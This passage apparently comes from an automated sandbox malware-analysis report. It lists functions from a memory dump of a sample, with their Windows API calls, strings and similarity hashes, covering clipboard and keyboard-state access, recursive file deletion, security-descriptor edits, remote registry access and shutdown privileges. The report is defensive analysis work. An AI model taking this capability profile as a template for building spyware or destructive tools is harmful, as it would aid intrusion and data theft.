FindClose.KERNEL32(00000000), ref: 007662FD
FindClose.KERNEL32(00000000), ref: 0076630B

Strings

\*.*, xrefs: 00766138, 00766147, 00766165
p1Mw`KNw, xrefs: 007661BA

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: File$Find_wcscat$__wsplitpath$CloseDeleteFullMoveNamePath$AttributesCopyFirstNext_wcscpylstrcmpi
String ID: \*.*$p1Mw`KNw
API String ID: 1917200108-2160596699
Opcode ID: 1c6bb444bc9de552092c758cd2f843e057086e4882e8b7670cc3aa3a33c9a72c
Instruction ID: 5a05231d8106a034fc5a376bf0fbb87ff3a5727d713b471822e8c10271171100
Opcode Fuzzy Hash: 1c6bb444bc9de552092c758cd2f843e057086e4882e8b7670cc3aa3a33c9a72c
Instruction Fuzzy Hash: 7951017290811CAACB21EB91CC59DDB77BCBF05300F4941E6E946E2141DF3A9B89CFA4

Function 00776B0C Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(007BDC00), ref: 00776B36
IsClipboardFormatAvailable.USER32(0000000D), ref: 00776B44
GetClipboardData.USER32(0000000D), ref: 00776B4C
CloseClipboard.USER32 ref: 00776B58
GlobalLock.KERNEL32(00000000), ref: 00776B74
CloseClipboard.USER32 ref: 00776B7E
GlobalUnlock.KERNEL32(00000000), ref: 00776B93
IsClipboardFormatAvailable.USER32(00000001), ref: 00776BA0
GetClipboardData.USER32(00000001), ref: 00776BA8
GlobalLock.KERNEL32(00000000), ref: 00776BB5
GlobalUnlock.KERNEL32(00000000), ref: 00776BE9
CloseClipboard.USER32 ref: 00776CF6

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: b3c4045c60cc7c0e3fda34e749654bc4fc21800d4312eddf3b8dd0363f077649
Instruction ID: 5ef4fffa9d5b717b4f09f56115ecbc1e00a03357aeae523402ff0e85e42f6808
Opcode Fuzzy Hash: b3c4045c60cc7c0e3fda34e749654bc4fc21800d4312eddf3b8dd0363f077649
Instruction Fuzzy Hash: 1451D371244201ABD711EF60DC5AFAE77A8AF95B40F108029F58BD61E1DF78EC05CB66

Function 0076F5FA Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 278timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0076F62B
FindClose.KERNEL32(00000000), ref: 0076F67F
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0076F6A4
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0076F6BB
FileTimeToSystemTime.KERNEL32(?,?), ref: 0076F6E2
__swprintf.LIBCMT ref: 0076F72E
__swprintf.LIBCMT ref: 0076F767
__swprintf.LIBCMT ref: 0076F7BB

Part of subcall function 0074172B: __woutput_l.LIBCMT ref: 00741784

__swprintf.LIBCMT ref: 0076F809
__swprintf.LIBCMT ref: 0076F858
__swprintf.LIBCMT ref: 0076F8A7
__swprintf.LIBCMT ref: 0076F8F6

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 0076F728
%4d, xrefs: 0076F761
%02d, xrefs: 0076F7B0, 0076F7B9, 0076F807, 0076F856, 0076F8A5, 0076F8F4

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal$CloseFirstSystem__woutput_l
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 835046349-2428617273
Opcode ID: 8186f30c4578cb6d258a4d36b1f44b69d696db33974ce059aeffebdde9653389
Instruction ID: ced9600e729640ca7ab6239486f6e5cbfc083a44124ca931d1f9723a2076217a
Opcode Fuzzy Hash: 8186f30c4578cb6d258a4d36b1f44b69d696db33974ce059aeffebdde9653389
Instruction Fuzzy Hash: C5A111B2408354EBD311EB94D889DAFB7ECAF98704F44082EF585C3152EB38D949C762

Function 00771B2F Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,774C8FB0,?,00000000), ref: 00771B50
_wcscmp.LIBCMT ref: 00771B65
_wcscmp.LIBCMT ref: 00771B7C
GetFileAttributesW.KERNEL32(?), ref: 00771B8E
SetFileAttributesW.KERNEL32(?,?), ref: 00771BA8
FindNextFileW.KERNEL32(00000000,?), ref: 00771BC0
FindClose.KERNEL32(00000000), ref: 00771BCB
FindFirstFileW.KERNEL32(*.*,?), ref: 00771BE7
_wcscmp.LIBCMT ref: 00771C0E
_wcscmp.LIBCMT ref: 00771C25
SetCurrentDirectoryW.KERNEL32(?), ref: 00771C37
SetCurrentDirectoryW.KERNEL32(007D39FC), ref: 00771C55
FindNextFileW.KERNEL32(00000000,00000010), ref: 00771C5F
FindClose.KERNEL32(00000000), ref: 00771C6C
FindClose.KERNEL32(00000000), ref: 00771C7C

Strings

*.*, xrefs: 00771BE2

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: 41f7d570ea425128f2706df275c4d8c6b6ac51c144df758c8f9c2554d06ad439
Instruction ID: 1a27a2f2a18f62c38c5bffb7487eb8c167510081020f2c99d7f39169d3dde776
Opcode Fuzzy Hash: 41f7d570ea425128f2706df275c4d8c6b6ac51c144df758c8f9c2554d06ad439
Instruction Fuzzy Hash: 8D31D872600219ABCF21ABF4DC49ADE77AC9F46354F50C156F90AD2090EB78DF458B64

Function 00771C8A Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,774C8FB0,?,00000000), ref: 00771CAB
_wcscmp.LIBCMT ref: 00771CC0
_wcscmp.LIBCMT ref: 00771CD7

Part of subcall function 00766BD4: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00766BEF

FindNextFileW.KERNEL32(00000000,?), ref: 00771D06
FindClose.KERNEL32(00000000), ref: 00771D11
FindFirstFileW.KERNEL32(*.*,?), ref: 00771D2D
_wcscmp.LIBCMT ref: 00771D54
_wcscmp.LIBCMT ref: 00771D6B
SetCurrentDirectoryW.KERNEL32(?), ref: 00771D7D
SetCurrentDirectoryW.KERNEL32(007D39FC), ref: 00771D9B
FindNextFileW.KERNEL32(00000000,00000010), ref: 00771DA5
FindClose.KERNEL32(00000000), ref: 00771DB2
FindClose.KERNEL32(00000000), ref: 00771DC2

Strings

*.*, xrefs: 00771D28

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: c8f772ae078ab2bd529af0490220f4ef1b095538c7afe2afb96074d0d5c0ba18
Instruction ID: af2a4f542dcc294625cfb26ef1e5934ea10d2d51c845c9697beca23f9353300a
Opcode Fuzzy Hash: c8f772ae078ab2bd529af0490220f4ef1b095538c7afe2afb96074d0d5c0ba18
Instruction Fuzzy Hash: 8531F632600619AACF31EFA8DC49ADE77AC9F46364F50C552E809A2190DB78DE45CF64

Function 0077091D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 007709DF
SystemTimeToFileTime.KERNEL32(?,?), ref: 007709EF
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 007709FB
__wsplitpath.LIBCMT ref: 00770A59
_wcscat.LIBCMT ref: 00770A71
_wcscat.LIBCMT ref: 00770A83
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00770A98
SetCurrentDirectoryW.KERNEL32(?), ref: 00770AAC
SetCurrentDirectoryW.KERNEL32(?), ref: 00770ADE
SetCurrentDirectoryW.KERNEL32(?), ref: 00770AFF
_wcscpy.LIBCMT ref: 00770B0B
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00770B4A

Strings

*.*, xrefs: 00770B05

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
String ID: *.*
API String ID: 3566783562-438819550
Opcode ID: dce23bcc7b609b2387a8a53bd7a9e994fb8a269613d38b0381984fa295795ef2
Instruction ID: 17814d7f249b635e9aff70a880edea2c9d1749dc11d7d962f2e5970de9d13ee5
Opcode Fuzzy Hash: dce23bcc7b609b2387a8a53bd7a9e994fb8a269613d38b0381984fa295795ef2
Instruction Fuzzy Hash: 9C612AB2504305DFDB10EF60C84599EB3E8FF89354F04892AF989C7252DB39EA45CB92

Function 0075A66C Relevance: 21.2, APIs: 14, Instructions: 178memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0075ABBB: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 0075ABD7
Part of subcall function 0075ABBB: GetLastError.KERNEL32(?,0075A69F,?,?,?), ref: 0075ABE1
Part of subcall function 0075ABBB: GetProcessHeap.KERNEL32(00000008,?,?,0075A69F,?,?,?), ref: 0075ABF0
Part of subcall function 0075ABBB: HeapAlloc.KERNEL32(00000000,?,0075A69F,?,?,?), ref: 0075ABF7
Part of subcall function 0075ABBB: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 0075AC0E

Part of subcall function 0075AC56: GetProcessHeap.KERNEL32(00000008,0075A6B5,00000000,00000000,?,0075A6B5,?), ref: 0075AC62
Part of subcall function 0075AC56: HeapAlloc.KERNEL32(00000000,?,0075A6B5,?), ref: 0075AC69
Part of subcall function 0075AC56: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,0075A6B5,?), ref: 0075AC7A

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 0075A6D0
_memset.LIBCMT ref: 0075A6E5
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 0075A704
GetLengthSid.ADVAPI32(?), ref: 0075A715
GetAce.ADVAPI32(?,00000000,?), ref: 0075A752
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 0075A76E
GetLengthSid.ADVAPI32(?), ref: 0075A78B
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 0075A79A
HeapAlloc.KERNEL32(00000000), ref: 0075A7A1
GetLengthSid.ADVAPI32(?,00000008,?), ref: 0075A7C2
CopySid.ADVAPI32(00000000), ref: 0075A7C9
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 0075A7FA
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 0075A820
SetUserObjectSecurity.USER32(?,00000004,?), ref: 0075A834

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: fb2c8144843e0fa7355dbdae958fdc7b0d50d5a8a6df24fae7a7e1017df9f451
Instruction ID: 2cb5fd7f62733e78dfea137ceb2d276a1f7f0ca7326d9b4b969478017fcd96b2
Opcode Fuzzy Hash: fb2c8144843e0fa7355dbdae958fdc7b0d50d5a8a6df24fae7a7e1017df9f451
Instruction Fuzzy Hash: 79515B71900209BFDF118FA0DC44AEEBBB9FF45305F048229E911A6290DB79AE09CB61

Function 00726F07 Relevance: 20.9, Strings: 16, Instructions: 883COMMON

Download Yara Rule

Strings

CRLF), xrefs: 007A2E43
LIMIT_MATCH=, xrefs: 007A2CF2
UTF), xrefs: 007A2C7C
BSR_UNICODE), xrefs: 007A2EBA
||| |, xrefs: 00727096, 0072709C
ANYCRLF), xrefs: 007A2E7D
UTF16), xrefs: 007A2C56
|, xrefs: 00726F77
BSR_ANYCRLF), xrefs: 007A2EA0
CR), xrefs: 007A2E09
NO_AUTO_POSSESS), xrefs: 007A2CB0
UCP), xrefs: 007A2C8F
NO_START_OPT), xrefs: 007A2CD1
ANY), xrefs: 007A2E60
LIMIT_RECURSION=, xrefs: 007A2D7E
LF), xrefs: 007A2E26

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID:
String ID: |$ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)$||| |
API String ID: 0-2454437154
Opcode ID: c61098fbbf63e232fc1c0dcc720b8d6f36bab8af82e53df1312bf00f87d5bf61
Instruction ID: 9ab95296275350f3b7b8dcf6dc70a93d5d78311e78ec4e3052bc33c4e30f63b5
Opcode Fuzzy Hash: c61098fbbf63e232fc1c0dcc720b8d6f36bab8af82e53df1312bf00f87d5bf61
Instruction Fuzzy Hash: 89728271E04229DBDF18DF58D8407AEB7B5FF49310F14816AE815EB281EB789E81DB90

Function 007663F9 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 89fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00766EBB: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00765FA6,?), ref: 00766ED8

Part of subcall function 007672CB: GetFileAttributesW.KERNEL32(?,00766019), ref: 007672CC

_wcscat.LIBCMT ref: 00766441
__wsplitpath.LIBCMT ref: 0076645F
FindFirstFileW.KERNEL32(?,?), ref: 00766474
_wcscpy.LIBCMT ref: 007664A3
_wcscat.LIBCMT ref: 007664B8
_wcscat.LIBCMT ref: 007664CA
DeleteFileW.KERNEL32(?), ref: 007664DA
FindNextFileW.KERNEL32(00000000,00000010), ref: 007664EB
FindClose.KERNEL32(00000000), ref: 00766506

Strings

\*.*, xrefs: 0076643B
p1Mw`KNw, xrefs: 007664DA

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: File$Find_wcscat$AttributesCloseDeleteFirstFullNameNextPath__wsplitpath_wcscpy
String ID: \*.*$p1Mw`KNw
API String ID: 2643075503-2160596699
Opcode ID: f768d89a4598f6b0f585cca299086632b1b657244c38441b8277332e2a7f30e7
Instruction ID: 95c5f515a24b0a0cff927002fbdc792ac56cd3e57331d1b43e35bf02b7c5403c
Opcode Fuzzy Hash: f768d89a4598f6b0f585cca299086632b1b657244c38441b8277332e2a7f30e7
Instruction Fuzzy Hash: A03157B24083849EC721DBA488899DB77DCAF55314F44491EFAD6C3141EB39D50D87A7

Function 007831BC Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00783C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00782BB5,?,?), ref: 00783C1D

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0078328E

Part of subcall function 0072936C: __swprintf.LIBCMT ref: 007293AB
Part of subcall function 0072936C: __itow.LIBCMT ref: 007293DF

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 0078332D
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 007833C5
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00783604
RegCloseKey.ADVAPI32(00000000), ref: 00783611

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: 4b7a0a987f0d63763a65d8653b90218e300443de54354978af545587e8452dbf
Instruction ID: 64970f0b84f141aac404561373fc2a45c497a61166b3419f7ba3bdb375ed0754
Opcode Fuzzy Hash: 4b7a0a987f0d63763a65d8653b90218e300443de54354978af545587e8452dbf
Instruction Fuzzy Hash: 88E14B71604210EFCB15EF28C895E6ABBE8EF89710F04856DF54ADB262DB38ED05CB51

Function 00762B37 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00762B5F
GetAsyncKeyState.USER32(000000A0), ref: 00762BE0
GetKeyState.USER32(000000A0), ref: 00762BFB
GetAsyncKeyState.USER32(000000A1), ref: 00762C15
GetKeyState.USER32(000000A1), ref: 00762C2A
GetAsyncKeyState.USER32(00000011), ref: 00762C42
GetKeyState.USER32(00000011), ref: 00762C54
GetAsyncKeyState.USER32(00000012), ref: 00762C6C
GetKeyState.USER32(00000012), ref: 00762C7E
GetAsyncKeyState.USER32(0000005B), ref: 00762C96
GetKeyState.USER32(0000005B), ref: 00762CA8

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 1cb3af35744db71a9bffa4a929dfe293dc1e33a198e8796fbff450879b57a412
Instruction ID: e854dbc7859fa17908315245154e38ae5871af4280f6320b2dda5182f88e83aa
Opcode Fuzzy Hash: 1cb3af35744db71a9bffa4a929dfe293dc1e33a198e8796fbff450879b57a412
Instruction Fuzzy Hash: 6A41F474904FC96DFFB59B6088043A9BEA0AB12344F048049DDC7566C3EBAC9DC9C7B6

Function 00776D07 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00776D2E
EmptyClipboard.USER32 ref: 00776D34
GlobalAlloc.KERNEL32(00000002,?), ref: 00776D49
CloseClipboard.USER32 ref: 00776DE8

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 348612f6a7d25c7c1c3a594ea4f87c9e41323bbbd74d551f60a09583184f8af6
Instruction ID: df7624e98b2b6ca5ab4a245793c8a83b97bf82c0e7e2eb6deb36464a8eb708fb
Opcode Fuzzy Hash: 348612f6a7d25c7c1c3a594ea4f87c9e41323bbbd74d551f60a09583184f8af6
Instruction Fuzzy Hash: 7D217A31300614AFDF21AF64DC49B6D77A8EF89750F04C019F94ADB2A2DB38EC018B98

Function 0077C18C Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 232COMMON

Download Yara Rule

APIs

Part of subcall function 00759ABF: CLSIDFromProgID.OLE32 ref: 00759ADC
Part of subcall function 00759ABF: ProgIDFromCLSID.OLE32(?,00000000), ref: 00759AF7
Part of subcall function 00759ABF: lstrcmpiW.KERNEL32(?,00000000), ref: 00759B05
Part of subcall function 00759ABF: CoTaskMemFree.OLE32(00000000,?,00000000), ref: 00759B15

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 0077C235
_memset.LIBCMT ref: 0077C242
_memset.LIBCMT ref: 0077C360
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000001), ref: 0077C38C
CoTaskMemFree.OLE32(?), ref: 0077C397

Strings

NULL Pointer assignment, xrefs: 0077C3E5

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: 2773c966adaae60be1f8d8c088bed1b359deadd9030aaa251b1d93e751619646
Instruction ID: 5cc1c98105a47f69612635110b2cb4e45fa10aaebd699807e9e88e0f42e84218
Opcode Fuzzy Hash: 2773c966adaae60be1f8d8c088bed1b359deadd9030aaa251b1d93e751619646
Instruction Fuzzy Hash: 60913A71D00228EBDF11DF94DC85EDEBBB9AF08750F10816AF519A7281DB789A45CFA0

Function 007679D3 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 58shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 0075B134: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0075B180
Part of subcall function 0075B134: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0075B1AD
Part of subcall function 0075B134: GetLastError.KERNEL32 ref: 0075B1BA

ExitWindowsEx.USER32(?,00000000), ref: 00767A0F

Strings

@, xrefs: 00767A02
SeShutdownPrivilege, xrefs: 007679DD
, xrefs: 007679FD

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

